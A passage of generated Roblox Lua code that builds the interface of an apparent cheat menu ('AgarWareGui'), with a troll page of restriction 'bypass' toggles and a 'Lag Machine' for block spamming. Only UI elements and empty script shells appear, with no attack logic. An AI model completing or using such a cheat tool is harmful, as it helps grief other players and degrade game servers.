G2L["197"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["197"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["197"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["197"]["Name"] = [[ShapeBypassRow]];
G2L["197"]["LayoutOrder"] = 6;
G2L["197"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.ShapeBypassRow.ShapeBypassScript
G2L["198"] = Instance.new("LocalScript", G2L["197"]);
G2L["198"]["Name"] = [[ShapeBypassScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.ShapeBypassRow.ShapeBypassTickBox
G2L["199"] = Instance.new("TextButton", G2L["197"]);
G2L["199"]["TextSize"] = 14;
G2L["199"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["199"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["199"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["199"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["199"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["199"]["Text"] = [[]];
G2L["199"]["Name"] = [[ShapeBypassTickBox]];
G2L["199"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.ShapeBypassRow.ShapeBypassText
G2L["19a"] = Instance.new("TextLabel", G2L["197"]);
G2L["19a"]["BorderSizePixel"] = 0;
G2L["19a"]["TextSize"] = 14;
G2L["19a"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["19a"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["19a"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["19a"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["19a"]["BackgroundTransparency"] = 1;
G2L["19a"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["19a"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["19a"]["Text"] = [[Shape]];
G2L["19a"]["Name"] = [[ShapeBypassText]];
G2L["19a"]["Position"] = UDim2.new(0.17751, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.ShovelBypassRow
G2L["19b"] = Instance.new("Frame", G2L["188"]);
G2L["19b"]["BorderSizePixel"] = 0;
G2L["19b"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["19b"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["19b"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["19b"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["19b"]["Name"] = [[ShovelBypassRow]];
G2L["19b"]["LayoutOrder"] = 7;
G2L["19b"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.ShovelBypassRow.ShovelBypassScript
G2L["19c"] = Instance.new("LocalScript", G2L["19b"]);
G2L["19c"]["Name"] = [[ShovelBypassScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.ShovelBypassRow.ShovelBypassTickBox
G2L["19d"] = Instance.new("TextButton", G2L["19b"]);
G2L["19d"]["TextSize"] = 14;
G2L["19d"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["19d"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["19d"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["19d"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["19d"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["19d"]["Text"] = [[]];
G2L["19d"]["Name"] = [[ShovelBypassTickBox]];
G2L["19d"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.ShovelBypassRow.ShovelBypassText
G2L["19e"] = Instance.new("TextLabel", G2L["19b"]);
G2L["19e"]["BorderSizePixel"] = 0;
G2L["19e"]["TextSize"] = 14;
G2L["19e"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["19e"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["19e"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["19e"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["19e"]["BackgroundTransparency"] = 1;
G2L["19e"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["19e"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["19e"]["Text"] = [[Shovel]];
G2L["19e"]["Name"] = [[ShovelBypassText]];
G2L["19e"]["Position"] = UDim2.new(0.17751, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.SignBypassRow
G2L["19f"] = Instance.new("Frame", G2L["188"]);
G2L["19f"]["BorderSizePixel"] = 0;
G2L["19f"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["19f"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["19f"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["19f"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["19f"]["Name"] = [[SignBypassRow]];
G2L["19f"]["LayoutOrder"] = 8;
G2L["19f"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.SignBypassRow.SignBypassScript
G2L["1a0"] = Instance.new("LocalScript", G2L["19f"]);
G2L["1a0"]["Name"] = [[SignBypassScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.SignBypassRow.SignBypassTickBox
G2L["1a1"] = Instance.new("TextButton", G2L["19f"]);
G2L["1a1"]["TextSize"] = 14;
G2L["1a1"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1a1"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1a1"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1a1"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["1a1"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["1a1"]["Text"] = [[]];
G2L["1a1"]["Name"] = [[SignBypassTickBox]];
G2L["1a1"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.SignBypassRow.SignBypassText
G2L["1a2"] = Instance.new("TextLabel", G2L["19f"]);
G2L["1a2"]["BorderSizePixel"] = 0;
G2L["1a2"]["TextSize"] = 14;
G2L["1a2"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["1a2"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1a2"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1a2"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1a2"]["BackgroundTransparency"] = 1;
G2L["1a2"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["1a2"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1a2"]["Text"] = [[Sign]];
G2L["1a2"]["Name"] = [[SignBypassText]];
G2L["1a2"]["Position"] = UDim2.new(0.17751, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.BuildBypassRow
G2L["1a3"] = Instance.new("Frame", G2L["188"]);
G2L["1a3"]["BorderSizePixel"] = 0;
G2L["1a3"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1a3"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["1a3"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["1a3"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1a3"]["Name"] = [[BuildBypassRow]];
G2L["1a3"]["LayoutOrder"] = 3;
G2L["1a3"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.BuildBypassRow.BuildBypassScript
G2L["1a4"] = Instance.new("LocalScript", G2L["1a3"]);
G2L["1a4"]["Name"] = [[BuildBypassScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.BuildBypassRow.BuildBypassTickBox
G2L["1a5"] = Instance.new("TextButton", G2L["1a3"]);
G2L["1a5"]["TextSize"] = 14;
G2L["1a5"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1a5"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1a5"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1a5"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["1a5"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["1a5"]["Text"] = [[]];
G2L["1a5"]["Name"] = [[BuildBypassTickBox]];
G2L["1a5"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.BuildBypassRow.BuildBypassText
G2L["1a6"] = Instance.new("TextLabel", G2L["1a3"]);
G2L["1a6"]["BorderSizePixel"] = 0;
G2L["1a6"]["TextSize"] = 14;
G2L["1a6"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["1a6"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1a6"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1a6"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1a6"]["BackgroundTransparency"] = 1;
G2L["1a6"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["1a6"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1a6"]["Text"] = [[Build]];
G2L["1a6"]["Name"] = [[BuildBypassText]];
G2L["1a6"]["Position"] = UDim2.new(0.17751, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup
G2L["1a7"] = Instance.new("Frame", G2L["186"]);
G2L["1a7"]["BackgroundColor3"] = Color3.fromRGB(17, 17, 17);
G2L["1a7"]["BorderMode"] = Enum.BorderMode.Middle;
G2L["1a7"]["Size"] = UDim2.new(0, 170, 0, 202);
G2L["1a7"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["1a7"]["Name"] = [[LagGroup]];
G2L["1a7"]["LayoutOrder"] = 2;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.LagScript
G2L["1a8"] = Instance.new("LocalScript", G2L["1a7"]);
G2L["1a8"]["Name"] = [[LagScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.LagToolTip
G2L["1a9"] = Instance.new("LocalScript", G2L["1a7"]);
G2L["1a9"]["Name"] = [[LagToolTip]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.UIListLayout
G2L["1aa"] = Instance.new("UIListLayout", G2L["1a7"]);
G2L["1aa"]["SortOrder"] = Enum.SortOrder.LayoutOrder;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.LagAccentColor
G2L["1ab"] = Instance.new("Frame", G2L["1a7"]);
G2L["1ab"]["BackgroundColor3"] = Color3.fromRGB(0, 124, 255);
G2L["1ab"]["AutomaticSize"] = Enum.AutomaticSize.X;
G2L["1ab"]["Size"] = UDim2.new(0, 169, 0, 2);
G2L["1ab"]["Position"] = UDim2.new(0.00294, 0, 0.00658, 0);
G2L["1ab"]["BorderColor3"] = Color3.fromRGB(0, 92, 189);
G2L["1ab"]["Name"] = [[LagAccentColor]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.LagTitle
G2L["1ac"] = Instance.new("TextLabel", G2L["1a7"]);
G2L["1ac"]["TextWrapped"] = true;
G2L["1ac"]["BorderSizePixel"] = 0;
G2L["1ac"]["TextSize"] = 14;
G2L["1ac"]["TextScaled"] = true;
G2L["1ac"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1ac"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1ac"]["TextColor3"] = Color3.fromRGB(190, 190, 190);
G2L["1ac"]["BackgroundTransparency"] = 0.95;
G2L["1ac"]["Size"] = UDim2.new(0, 169, 0, 15);
G2L["1ac"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1ac"]["Text"] = [[Lag Machine]];
G2L["1ac"]["LayoutOrder"] = 1;
G2L["1ac"]["Name"] = [[LagTitle]];
G2L["1ac"]["Position"] = UDim2.new(0.00294, 0, 0.03289, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.LagTitle.LagMinimize
G2L["1ad"] = Instance.new("TextButton", G2L["1ac"]);
G2L["1ad"]["BorderSizePixel"] = 0;
G2L["1ad"]["TextSize"] = 14;
G2L["1ad"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1ad"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1ad"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1ad"]["BackgroundTransparency"] = 1;
G2L["1ad"]["Size"] = UDim2.new(0, 20, 0, 15);
G2L["1ad"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1ad"]["Text"] = [[-]];
G2L["1ad"]["Name"] = [[LagMinimize]];
G2L["1ad"]["Position"] = UDim2.new(0.88166, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.LagTitle.LagHelp
G2L["1ae"] = Instance.new("TextButton", G2L["1ac"]);
G2L["1ae"]["TextSize"] = 14;
G2L["1ae"]["TextColor3"] = Color3.fromRGB(96, 96, 96);
G2L["1ae"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["1ae"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["1ae"]["Size"] = UDim2.new(0, 12, 0, 12);
G2L["1ae"]["BorderColor3"] = Color3.fromRGB(82, 82, 82);
G2L["1ae"]["Text"] = [[?]];
G2L["1ae"]["Name"] = [[LagHelp]];
G2L["1ae"]["Position"] = UDim2.new(0.02367, 0, 0.15999, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.SpamSelectRow
G2L["1af"] = Instance.new("Frame", G2L["1a7"]);
G2L["1af"]["BorderSizePixel"] = 0;
G2L["1af"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1af"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["1af"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["1af"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1af"]["Name"] = [[SpamSelectRow]];
G2L["1af"]["LayoutOrder"] = 6;
G2L["1af"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.SpamSelectRow.SpamSelectScript
G2L["1b0"] = Instance.new("LocalScript", G2L["1af"]);
G2L["1b0"]["Name"] = [[SpamSelectScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.SpamSelectRow.SpamSelectHelp
G2L["1b1"] = Instance.new("TextButton", G2L["1af"]);
G2L["1b1"]["TextSize"] = 14;
G2L["1b1"]["TextColor3"] = Color3.fromRGB(96, 96, 96);
G2L["1b1"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["1b1"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["1b1"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["1b1"]["BorderColor3"] = Color3.fromRGB(82, 82, 82);
G2L["1b1"]["Text"] = [[?]];
G2L["1b1"]["Name"] = [[SpamSelectHelp]];
G2L["1b1"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.SpamSelectRow.SpamSelectButton
G2L["1b2"] = Instance.new("TextButton", G2L["1af"]);
G2L["1b2"]["TextSize"] = 14;
G2L["1b2"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1b2"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["1b2"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1b2"]["Size"] = UDim2.new(0, 135, 0, 16);
G2L["1b2"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["1b2"]["Text"] = [[Select Block]];
G2L["1b2"]["Name"] = [[SpamSelectButton]];
G2L["1b2"]["Position"] = UDim2.new(0.17751, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.BlockSpamRow
G2L["1b3"] = Instance.new("Frame", G2L["1a7"]);
G2L["1b3"]["BorderSizePixel"] = 0;
G2L["1b3"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1b3"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["1b3"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["1b3"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1b3"]["Name"] = [[BlockSpamRow]];
G2L["1b3"]["LayoutOrder"] = 7;
G2L["1b3"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.BlockSpamRow.BlockSpamScript
G2L["1b4"] = Instance.new("LocalScript", G2L["1b3"]);
G2L["1b4"]["Name"] = [[BlockSpamScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.BlockSpamRow.BlockSpamButton
G2L["1b5"] = Instance.new("TextButton", G2L["1b3"]);
G2L["1b5"]["TextSize"] = 14;
G2L["1b5"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1b5"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["1b5"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1b5"]["Size"] = UDim2.new(0, 161, 0, 16);
G2L["1b5"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["1b5"]["Text"] = [[Start Spam]];
G2L["1b5"]["Name"] = [[BlockSpamButton]];
G2L["1b5"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.BlockSizeRow
G2L["1b6"] = Instance.new("Frame", G2L["1a7"]);
G2L["1b6"]["BorderSizePixel"] = 0;
G2L["1b6"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1b6"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["1b6"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["1b6"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1b6"]["Name"] = [[BlockSizeRow]];
G2L["1b6"]["LayoutOrder"] = 8;
G2L["1b6"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.BlockSizeRow.BlockSizeText
G2L["1b7"] = Instance.new("TextLabel", G2L["1b6"]);
G2L["1b7"]["BorderSizePixel"] = 0;
G2L["1b7"]["TextSize"] = 14;
G2L["1b7"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["1b7"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1b7"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1b7"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1b7"]["BackgroundTransparency"] = 1;
G2L["1b7"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["1b7"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1b7"]["Text"] = [[Block Size]];
G2L["1b7"]["Name"] = [[BlockSizeText]];
G2L["1b7"]["Position"] = UDim2.new(0.17751, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.BlockSizeRow.BlockSizeChanger
G2L["1b8"] = Instance.new("TextBox", G2L["1b6"]);
G2L["1b8"]["Name"] = [[BlockSizeChanger]];
G2L["1b8"]["PlaceholderColor3"] = Color3.fromRGB(0, 124, 255);
G2L["1b8"]["TextWrapped"] = true;
G2L["1b8"]["TextSize"] = 14;
G2L["1b8"]["TextColor3"] = Color3.fromRGB(0, 124, 255);
G2L["1b8"]["TextScaled"] = true;
G2L["1b8"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1b8"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1b8"]["PlaceholderText"] = [[(1)]];
G2L["1b8"]["Size"] = UDim2.new(0, 46, 0, 16);
G2L["1b8"]["Position"] = UDim2.new(0.69822, 0, 0.16, 0);
G2L["1b8"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["1b8"]["Text"] = [[]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.BlockSizeRow.BlockSizeChanger.BlockSizeScript
G2L["1b9"] = Instance.new("LocalScript", G2L["1b8"]);
G2L["1b9"]["Name"] = [[BlockSizeScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.BlockSizeRow.BlockSizeHelp
G2L["1ba"] = Instance.new("TextButton", G2L["1b6"]);
G2L["1ba"]["TextSize"] = 14;
G2L["1ba"]["TextColor3"] = Color3.fromRGB(96, 96, 96);
G2L["1ba"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["1ba"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["1ba"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["1ba"]["BorderColor3"] = Color3.fromRGB(82, 82, 82);
G2L["1ba"]["Text"] = [[?]];
G2L["1ba"]["Name"] = [[BlockSizeHelp]];
G2L["1ba"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.BlockAmountRow
G2L["1bb"] = Instance.new("Frame", G2L["1a7"]);
G2L["1bb"]["BorderSizePixel"] = 0;
G2L["1bb"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1bb"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["1bb"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["1bb"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1bb"]["Name"] = [[BlockAmountRow]];
G2L["1bb"]["LayoutOrder"] = 9;
G2L["1bb"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.BlockAmountRow.BlockAmountView
G2L["1bc"] = Instance.new("TextButton", G2L["1bb"]);
G2L["1bc"]["TextSize"] = 14;
G2L["1bc"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1bc"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["1bc"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1bc"]["Size"] = UDim2.new(0, 161, 0, 16);
G2L["1bc"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["1bc"]["Text"] = [[Block Spam Amount: 0]];
G2L["1bc"]["Name"] = [[BlockAmountView]];
G2L["1bc"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.BlockAmountRow.BlockAmountView.BlockAmountViewScript
G2L["1bd"] = Instance.new("LocalScript", G2L["1bc"]);
G2L["1bd"]["Name"] = [[BlockAmountViewScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.ReduceLagRow
G2L["1be"] = Instance.new("Frame", G2L["1a7"]);
G2L["1be"]["BorderSizePixel"] = 0;
G2L["1be"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1be"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["1be"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["1be"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1be"]["Name"] = [[ReduceLagRow]];
G2L["1be"]["LayoutOrder"] = 8;
G2L["1be"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.ReduceLagRow.ReduceLagScript
G2L["1bf"] = Instance.new("LocalScript", G2L["1be"]);
G2L["1bf"]["Name"] = [[ReduceLagScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.ReduceLagRow.ReduceLagText
G2L["1c0"] = Instance.new("TextLabel", G2L["1be"]);
G2L["1c0"]["BorderSizePixel"] = 0;
G2L["1c0"]["TextSize"] = 14;
G2L["1c0"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["1c0"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1c0"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1c0"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1c0"]["BackgroundTransparency"] = 1;
G2L["1c0"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["1c0"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1c0"]["Text"] = [[Disable Lag]];
G2L["1c0"]["Name"] = [[ReduceLagText]];
G2L["1c0"]["Position"] = UDim2.new(0.17751, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.ReduceLagRow.ReduceLagTickBox
G2L["1c1"] = Instance.new("TextButton", G2L["1be"]);
G2L["1c1"]["TextSize"] = 14;
G2L["1c1"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1c1"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1c1"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1c1"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["1c1"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["1c1"]["Text"] = [[]];
G2L["1c1"]["Name"] = [[ReduceLagTickBox]];
G2L["1c1"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.BlackholeLagRow
G2L["1c2"] = Instance.new("Frame", G2L["1a7"]);
G2L["1c2"]["BorderSizePixel"] = 0;
G2L["1c2"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1c2"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["1c2"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["1c2"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1c2"]["Name"] = [[BlackholeLagRow]];
G2L["1c2"]["LayoutOrder"] = 11;
G2L["1c2"]["BackgroundTransparency"] = 1;
